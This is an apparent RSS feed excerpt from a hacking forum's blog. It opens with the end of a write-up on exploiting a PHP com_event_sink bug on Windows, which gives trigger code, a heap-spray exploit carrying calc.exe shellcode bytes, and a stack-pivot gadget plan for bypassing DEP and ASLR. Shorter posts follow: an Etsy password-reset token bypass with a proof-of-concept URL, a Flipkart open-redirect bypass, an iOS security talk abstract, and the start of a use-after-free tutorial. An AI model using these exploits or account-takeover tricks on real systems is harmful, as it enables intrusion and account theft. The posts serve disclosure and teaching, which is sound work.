<font color="#000000"> <span style="font-family: Times New Roman"><font size="3">Now,because the values are stored somewhere in the heap and unfortunately that region of heap also happens to hold the information regarding the parse table of PHP  source code in close  boundaries. Now even a single change in the source code of the exploit will result in the change of address location of our buffer (EDI in this case) in the heap region. To show that, i will add a single comment line in the exploit  source code and then we will examine the difference between the previous and the next memory location.</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">&lt;?php</font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">//Hello this is a comment</font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">$buffer= str_repeat(&quot;a&quot;, 100); &lt;&lt; edi </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">$vVar= new VARIANT(0x04040404); </font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">$vVar2= new VARIANT(&quot;hello&quot;); </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">com_event_sink($vVar,$vVar2, $buffer); </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">?&gt;</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">EAX 00000000</font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">ECX 00362940</font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">EDX 0110D538</font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">EBX 00000000</font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">ESP 00C1F9F8</font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">EBP 00C1FA4C</font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">ESI 04040404</font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><b>EDI 0110D5A8 ASCII&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  aaaaaa  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  &quot;</b></font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">EIP 102F59BD php5ts.102F59BD</font></span></font><br />
<br />
<br />
<font color="#000000"> <span style="font-family: Times New Roman"><font size="3">Now its clearly seen below that there is a huge difference between the memory location of our buffer that comes after we make a slight change in the source code. Wonder how much will be the difference when there a large amount of code added ?</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i><b>EDI– </b></i></font></span></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3"><b>0110D608</b></font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i><b>EDI– </b></i></font></span></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3"><b>0110D5A8</b></font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">That brings out large unpredictability if the vulnerability is exploited in such a way. </font></span></font><br />
<br />
<br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><b>                              Exploiting with Browser fashioned Heap spraying(Bypass ASLR).</b></font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">As we have already seen the unpredictability if offsets are hard-coded ,we can use browser styled heap spraying for precision.</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">We will spray the heap enough to reach to the memory location 0x04040404 and also we will use this address as our jump location with spray value as 0x04 itself.</font></span></font><br />
<br />
<br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&lt;?php</i></font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>$buffer= str_repeat(&quot;\x04\x04&quot;, 27108862).  </i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31&quot;.// Metasploit calc.exe shellcode</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff&quot;.</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>&quot;\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00&quot;;</i></font></span></font><br />
<br />
<br />
<br />
<br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>$vVar= new VARIANT(0x04040404); </i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>$vVar2= new VARIANT(&quot;hello&quot;); </i></font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>com_event_sink($vVar,$vVar2, NULL); </i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>?&gt;</i></font></span></font><br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">Now when the jump takes place somewhere near 0x04040404 , machine will encounter 0x04 bytes which disassemble to </font></span></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>addal,4 </i></font></span></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3">which basically is a NOP code.<br />
</font></span></font><br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">Following is the basic idea behind the heap spray </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">MOVEAX,DWORD PTR DS:[ESI] &lt;&lt; EAX == 0x04040404</font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">CALLDWORD PTR DS:[EAX+10] &lt;&lt; JMP 0x04040404 because [eax + 10] =0x04040404</font></span></font><br />
<br />
<i><font color="#000000"><span style="font-family: Times New Roman"><font size="3">Note:Because i  tested the exploit using a Virtual machine which has limited memory capacity of 512MB, you may have to choose different spray addresses on machine with higher memory range </font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">The following memory addresses can be used as spray as they also behave as NOP 's</font></span></font><br />
</i><br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">0x05050505 =    ADD EAX,5050505  &lt;&lt;&lt; acts as a NOP</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">0x0c0c0c0c  =     OR AL, 0C &lt;&lt; also acts as a NOP</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">0x0d0d0d0d =    OR EAX,0d0d0d0d....</font></span></font><br />
<br />
<br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3"><b>                          Knocking Stack variables for Precision( Bypass DEP fast no need to spray).</b></font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">As, we have already seen that static offsets in the heap region of the php interpreter are quite unreliable to use. Now in order to be precise in offsets , we can use stack memory region for that we need a way to populate the stack memory region . At the same time we know that there is no way by which ,we can populate stack using php variables because they are stored in heap rather than on stack.</font></span></font><br />
<br />
<br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">While checking out  the ZEND Engine source code i figured out a way to populate stack region </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">PHP modules uses  </font></span></font><font color="#000000"><span style="font-family: Courier New"><font size="2"><i>zend_parse_parameters()</i></font></span></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3">API function to get the variables passed to a php fucntion in C Styled declaration.</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">Somemodule store the variables in heap and some declare them as local</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">for example if you read the sourcecode of php_ftp.c from ftp module ofphp </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>/*{{{ proto resource ftp_connect(string host [, int port [, inttimeout]])<br />
   Opens a FTP stream*/<br />
PHP_FUNCTION(ftp_connect)<br />
{<br />
    ftpbuf_t    *ftp;<br />
    char        *host;<br />
    int        host_len;<br />
    long        port = 0;<br />
    long        timeout_sec = FTP_DEFAULT_TIMEOUT;<br />
<br />
    if(zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, &quot;s|ll&quot;,&amp;host, &amp;host_len, &amp;port, &amp;timeout_sec) == FAILURE){<br />
        return;<br />
    }</i></font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">you can see that many variable like host_len, port and timeout are stored on the stack , we can use this function to populate the stack memory.</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">This subroutine happens to be present at  0x10300B79   inside php5ts.dll</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">hereis the disassembly </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B79  55               PUSH EBP</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B7A  8BEC             MOV EBP,ESP</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B7C  83EC 10          SUB ESP,10</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B7F  56               PUSH ESI</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B80  8B75 1C          MOV ESI,DWORD PTR SS:[EBP+1C]</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B83  57               PUSH EDI</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B84  8D45 FC          LEA EAX,DWORD PTR SS:[EBP-4]</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B87  50               PUSH EAX</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B88  8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B8B  50               PUSH EAX</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B8C  8D45 F0          LEA EAX,DWORD PTR SS:[EBP-10]</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B8F  50               PUSH EAX</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B90  8D45 F4          LEA EAX,DWORD PTR SS:[EBP-C]</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B93  50               PUSH EAX</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B94  68 B8A95410      PUSH php5ts.1054A9B8 ; ASCII &quot;s|ll&quot;</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B99  56               PUSH ESI</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B9A  FF75 08          PUSH DWORD PTR SS:[EBP+8]</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B9D  33FF             XOR EDI,EDI</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300B9F  897D F8          MOV DWORD PTR SS:[EBP-8],EDI</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300BA2  C745 FC 5A000000 MOV DWORD PTR SS:[EBP-4],5A</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300BA9  E8 B21CD4FF      CALL php5ts.zend_parse_parameters</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2"><i>10300BAE  83C4 1C          ADD ESP,1C</i></font></span></font><br />
<br />
<br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">Now in this case we will try to use the port to populate stack region at 0x00C1FA88 </font></span></font><br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">and as we know that the vulnerability triggers by the following assembly sequence </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">MOVEAX,DWORD PTR DS:[ESI] &lt;&lt; ESI  = </font></span></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>0x00C1FA88- 10</i></font></span></font><br />
<font color="#000000"><span style="font-family: Courier New"><font size="2">CALLDWORD PTR DS:[EAX+10] &lt;&lt; xchg esp,edi </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">Wewill use a stack pivoting gadget to make ESP point to EDI ( whichhold our ROP payload )</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">php5ts.dll is quite dense and luckily a lot of gadgets related to stack pivoting are found there</font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">we will use the gadget found in php5ts.dll at  </font></span></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>0x10005767 XCHG ESP, EDI,</i></font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">Set the value of timeout variable to  “0x00C1FA88 – 10” , and laterwhen the call [eax +10] takes place it will land to  </font></span></font><font color="#000000"><span style="font-family: Times New Roman"><font size="3"><i>0x10005767XCHG ESP, EDI Gadget.</i></font></span></font><br />
<br />
<br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">Videos: In the following videos i am running the same exploit on windows XP(no SP), XP sp2, and windows 7.  The video is to demonstrates the reliability of the techniques used. </font></span></font><br />
<br />
<br />
<font color="#000000"><span style="font-family: Times New Roman"><font size="3">Note:Because the PHP binary has been compiled with /NXCOMPACT MSVC compiler flag, which basically enforces the loader to use DEP for the binary , If you are testing with heap spraying please disable DEP before proceeding .<br />
</font></span></font><b><br />
Windows 7</b><font color="#000000"><span style="font-family: Times New Roman"><font size="3"><br />
</font></span></font>
<iframe class="restrain" title="YouTube video player" width="640" height="390" src="//www.youtube.com/embed/gArr78g6IMk" frameborder="0"></iframe>
<br />
<br />
<b>Windows XP SP2</b><br />

<iframe class="restrain" title="YouTube video player" width="640" height="390" src="//www.youtube.com/embed/QnQcXLr80E0" frameborder="0"></iframe>
<br />
<b><br />
Windows XP (NOSP)<br />
</b>
<iframe class="restrain" title="YouTube video player" width="640" height="390" src="//www.youtube.com/embed/6MNzPk0GN40" frameborder="0"></iframe>
</blockquote>

]]></content:encoded>
			<dc:creator>Rashid bhatt</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/3489/reliable-php-exploitation-windows-xp-windows-7-578/</guid>
		</item>
		<item>
			<title>Password Reset Vulnerability in etsy.com</title>
			<link>http://www.garage4hackers.com/blogs/78/password-reset-vulnerability-etsy-com-574/</link>
			<pubDate>Tue, 08 Jan 2013 13:06:19 GMT</pubDate>
			<description><![CDATA[Hi Friends & All Big Bros 
 
Yesterday i received my first white hat bounty from etsy.com for finding ...]]></description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore">Hi Friends &amp; All Big Bros<br />
<br />
Yesterday i received my first white hat bounty from etsy.com for <a href="http://www.jaygadkar.com/2013/01/password-reset-vulnerability-in-etsycom.html" target="_blank">finding </a>password related vulnerability.<br />
<br />
 In etsy.com, when users reset their password, they receives password reset link which is as below.<br />
<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_quote">
		<div class="quote_container">
			<div class="bbcode_quote_container"></div>
			
				<a href="http://h##ps://www.etsy.com/confirm.php?email=" target="_blank">h##ps://www.etsy.com/confirm.php?email=</a>[User Email ID]&amp;code=[Token code]&amp;action=reset_password&amp;utm_source=account&amp;utm_medi  um=trans_email&amp;utm_campaign=forgot_password_1
			
		</div>
	</div>
</div><br />
I noticed that token is not getting validated from server side. So I removed it &amp; tested with my own id. <br />
<br />
 Final POC:<br />
<div class="bbcode_container">
	<div class="bbcode_quote">
		<div class="quote_container">
			<div class="bbcode_quote_container"></div>
			
				<a href="http://h##ps://www.etsy.com/confirm.php?email=" target="_blank">h##ps://www.etsy.com/confirm.php?email=</a>[victim user's email ID]&amp;action=reset_password&amp;utm_source=account&amp;utm_medi  um=trans_email&amp;utm_campaign=forgot_password_1
			
		</div>
	</div>
</div>And Password changed successfully. <br />
<br />
<img src="https://dl.dropbox.com/u/33853470/etsy1.png" border="0" alt="" /><br />
<br />
<br />
<img src="https://dl.dropbox.com/u/33853470/etsy3.png" border="0" alt="" /><br />
<br />
 Finally I am listed in <a href="http://www.etsy.com/help/article/2463" target="_blank">ETSY </a>Thanks Page. &amp; rewarded with $1500 bounty &amp; T-shirt<br />
Thanks to etsy security team for quick reply. <br />
<br />
Thanks to my friends : Darshit, sandeep, rahul bro, aasim , sagar &amp; G4H :)</blockquote>

]]></content:encoded>
			<dc:creator>Inxroot</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/78/password-reset-vulnerability-etsy-com-574/</guid>
		</item>
		<item>
			<title><![CDATA[Hacking and Securing iOS Applications - Clubhack 2012 [ppt & Demos]]]></title>
			<link>http://www.garage4hackers.com/blogs/4468/hacking-securing-ios-applications-clubhack-2012-%5Bppt-demos%5D-547/</link>
			<pubDate>Wed, 05 Dec 2012 01:22:45 GMT</pubDate>
			<description>_Abstract:_ 
iOS applications share common set of classes and highly depends on the operating system solutions for data communication, storage and...</description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore"><u>Abstract:</u><br />
iOS applications share common set of classes and highly depends on the operating system solutions for data communication, storage and encryption. Solely depending on the Apple implementation made them less complex but it affects security of the applications. Though iOS comes with a great set of security features like code signing, ASLR, DEP, sand boxing and Data Protection, all of them are subject to attack. Relying only on the iOS security could lead to demise the sensitive data stored within the application when the iOS is compromised. Application security can be improved by understanding the weaknesses in the current implementation and incorporating own code that work better.<br />
<br />
Complete presentation and demo videos are available at -<a href="http://www.securitylearn.net/2012/12/03/hacking-and-securing-ios-applications/" target="_blank">Clubhack 2012: Hacking and Securing iOS applications</a></blockquote>

]]></content:encoded>
			<dc:creator>satishb3</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/4468/hacking-securing-ios-applications-clubhack-2012-%5Bppt-demos%5D-547/</guid>
		</item>
		<item>
			<title>Open-Redirect Vulnerability in Flipkart by SecurityPrimes</title>
			<link>http://www.garage4hackers.com/blogs/4192/open-redirect-vulnerability-flipkart-securityprimes-533/</link>
			<pubDate>Tue, 20 Nov 2012 06:27:36 GMT</pubDate>
			<description><![CDATA[[ATTACH=CONFIG]562[/ATTACH] 
 
*What is Open-Redirect Vulnerability? * 
 
  An open redirect is an application that takes a parameter and redirects a...]]></description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore"><img src="http://www.garage4hackers.com/attachment.php?attachmentid=562&amp;d=1353392611" border="0" alt="Name:  200px-Flipkart_india.png
Views: 2699
Size:  8.6 KB"  style="float: CONFIG" /><br />
<br />
<b>What is Open-Redirect Vulnerability? </b><br />
<br />
  An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.<br />
<br />
For more info , visit : <a href="https://www.owasp.org/index.php/Open_redirect" target="_blank">https://www.owasp.org/index.php/Open_redirect</a><br />
<br />
Ok. Now to the issue, we came across a link from FlipKart which is :<br />
<br />
 <a href="http://www.flipkart.com/ol?link=http://blog.flipkart.com" target="_blank">http://www.flipkart.com/ol?link=http...g.flipkart.com</a> <br />
<br />
where the parameter actually meant to redirect the users to FlipKart's Blog (blog.flipkart.com). So we tried replacing the parameter with <a href="http://fake.com" target="_blank">FAKE LANDSCAPES - the artificial plant company</a> which then becomes:<br />
<br />
<a href="http://www.flipkart.com/ol?link=http://fake.com" target="_blank">www.flipkart.com/ol?link=http://fake.com</a><br />
<br />
But Flipkart prevented the attack by taking the victim correctly to <a href="http://flipkart.com" target="_blank">Online Shopping India - Buy Books, Mobile Phones, Digital Cameras, Laptops, Watches &amp; Other Products @ FlipKart</a>. Epic fail.!! <br />
<br />
Wait!! It's not over. We continued with changing the parameters. This time, we threw some thing that looked meaningful. Now the parameter is <a href="http://fakeflipkart.com" target="_blank">http://fakeflipkart.com</a> which then becomes:<br />
<br />
<a href="http://www.flipkart.com/ol?link=http://fakeflipkart.com" target="_blank">www.flipkart.com/ol?link=http://fakeflipkart.com</a><br />
<br />
Whoolaa.!! Bypassed the system.!! It was because of generic regular expression match functioned by Flipkart. The victim is so redirected to <a href="http://fakeflipkart.com" target="_blank">http://fakeflipkart.com</a> (Note: At the time of writing this, there was no such domain registered with that domain name. It's totally for a POC).<br />
<br />
So in real attack, the attacker could host  a fake Flipkart login page(Phishing) in his own domain and could steal user credentials. <br />
<br />
The Team Security Primes reported this issue to Flipkart on November 19, 2012 and the fix was up the very same day.<br />
<br />
Thanks to SecurityPrimes.</blockquote>

]]></content:encoded>
			<dc:creator>vigneshkumarmr</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/blogs/4192/open-redirect-vulnerability-flipkart-securityprimes-533/</guid>
		</item>
		<item>
			<title><![CDATA[Beginners Guide to "Use after free Exploits #IE 6 0-day #Exploit Development"]]></title>
			<link>http://www.garage4hackers.com/blogs/8/beginners-guide-use-after-free-exploits-ie-6-0-day-exploit-development-517/</link>
			<pubDate>Thu, 15 Nov 2012 00:39:57 GMT</pubDate>
			<description><![CDATA[http://www.youtube.com/watch?v=SLk4Ia0otko 
Yea right!  
 
Last week a friend asked few queries regarding use after free vulnerabilities, . It's been...]]></description>
			<content:encoded><![CDATA[<blockquote class="blogcontent restore">
<iframe class="restrain" title="YouTube video player" width="640" height="390" src="//www.youtube.com/embed/SLk4Ia0otko" frameborder="0"></iframe>
<br />
Yea right! <br />
<br />
Last week a friend asked few queries regarding use after free vulnerabilities, . It's been a while I wrote a tutorial so taught of cooking a beginners guide this week end.  I wanted a live target for the tutorial so my plans were to run my fuzzer on an old version of IE 6, since it is easy to find a bug in and it's not worth to blog out any new versions 0-day ;) . Any way I picked up the first test case IE crashed on and did some analysis to add it up to this tutorial.I din't spent much time with the crash since it's pointless to digg deep<br />
<br />
 So this blog post I will explain in detail the following. <br />
<br />
1)The OS Heap and memory allocations. <br />
2)Use after free issues and example buggy codes.<br />
3) Analysis of a IE 6 crash, Use after free issue.<br />
4) Exploiting Use after free bugs.<br />
*Stay tuned for som Win8 IE10 stuffs ;<br />
<br />
<br />
The Basics of OS Memory Management  :<br />
<br />
<u>Memory used by  program is divided into four,<br />
</u><ul><li>The code area aka text segment [compiled program in memory ].</li>
<li>The globals      [global variables are stored] .</li>
</ul><div style="margin-left:40px">Initialized Data Segment<br />
Uninitialized Data Segment.</div><ul><li>The heap, dynamically allocated variables.</li>
<li>The stack,  parameters and local variables .</li>
</ul><img src="http://www.garage4hackers.com/attachment.php?attachmentid=548&amp;d=1352541699" border="0" alt="Name:  cmemory003.png
Views: 2317
Size:  1.6 KB"  style="float: CONFIG" /><br />
*Above image has mapped the lower and higher memory wrong.<br />
<b>Code Area:</b><br />
This is the region in a virtual adress space that holds the executing instructions.It is is assigned memory below the stack and heap, to prevent an overflow overwriting the code. <br />
<b><br />
The Globals:</b><br />
<br />
<b>Initialized Data segment [DS]. <br />
</b><br />
This region holds the global and static variables that are initialized by the programmer. <br />
<br />
For example:<br />
 <br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:48px;">int a = 0;
char * fb =&quot;fb1h2s&quot;;</pre>
</div>The string is stored in the initialized read only area.<br />
<br />
<b>Uninitialized Data segment [BSS]. <br />
</b><br />
For example:<br />
 <br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<pre class="bbcode_code"style="height:48px;">int a 
int b ;</pre>
</div>This would be in the BSS segment<br />
<br />
<b>Stack:<br />
</b><br />
Stack is a [Last in First out] data structure , so it's basically used for local storages and <a href="http://en.wikipedia.org/wiki/Call_stack" target="_blank">function calls etc</a>.It has got it's own registers and instructions sets. So it even hold the raw byte of instruction executed by the program. This is one of the reason why stack based vulnerabilities are easy to exploit. <br />
<br />
Stack allocations are done when variables are stored directly to memory . <br />
<br />
For example:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP Code:</div>
	<div class="bbcode_code"style="height:108px;"><code><code><span style="color: #000000">
<span style="color: #0000BB">void&nbsp;f</span><span style="color: #007700">()<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">true</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;b&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">b&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code></div>
</div>Here value of &quot;b&quot; is already declared and know so &quot;int b&quot; is allocated on the stack. <br />
*b is not available outside the if  { } block, so the above program would have compilation issues. <br />
<br />
<b>Heap :<br />
</b>So considering the above if we need to handle memmory dynamically ,thats where Heap comes into picture. Heap overtakes the disability of stack, it's is the segment where dynamic memory allocation usually takes place. <br />
Unlike stack memmory allocations[LIFO] the term &quot;heap memory allocations&quot; is unrelated to heap data structure. It's basically a linked list of used and free blocks. When a request for memory is made by functions like (new,malloc,GlobalAlloc,LocalAlloc, malloc,HeapAlloc,RtlAllocateHeap etc) they are satis&#64257;ed by providing a suitable block from one of the free blocks. This requires updating list of blocks on the heap [Heap Management ]. This meta information about the blocks on the heap is also stored on the heap often in a small area just in front of every block .The various OS implementation of heap management functions make use of these meta info when allocating and freeing heap. And the many heap based exploits out there make use of these heap management structures to achieve code execution by feeding them with malformed data.  <br />
Note: Heap overflow and [Dangling pointer, Use after free bugs] are two diff things. <br />
<br />
<img src="http://www.garage4hackers.com/attachment.php?attachmentid=547&amp;d=1352541032" border="0" alt="Name:  SafeMemoryUtilization03SingleHeapAllocation.jpg
Views: 2359
Size:  12.3 KB"  style="float: CONFIG" /><br />
<br />
<b>Bulletins</b>: <br />
<br />
 • The heap size is predefined at application startup but can grow as per required.<br />
<br />
• You would use the heap if you don’t know exactly how much data you will need at runtime or if you need to allocate a lot of data.<br />
<br />
• Responsible for memory leak, you need to free the unused memory manually.<br />
<br />
• You need to manually free memory onces it is no more in use and that should never fall out of scope. The data is freed with GlobalFree , LocalFree, delete[] free etc functions .<br />
<br />
• Can have allocation failures if too big of a bu&#64256;er is requested to be allocated.<br />
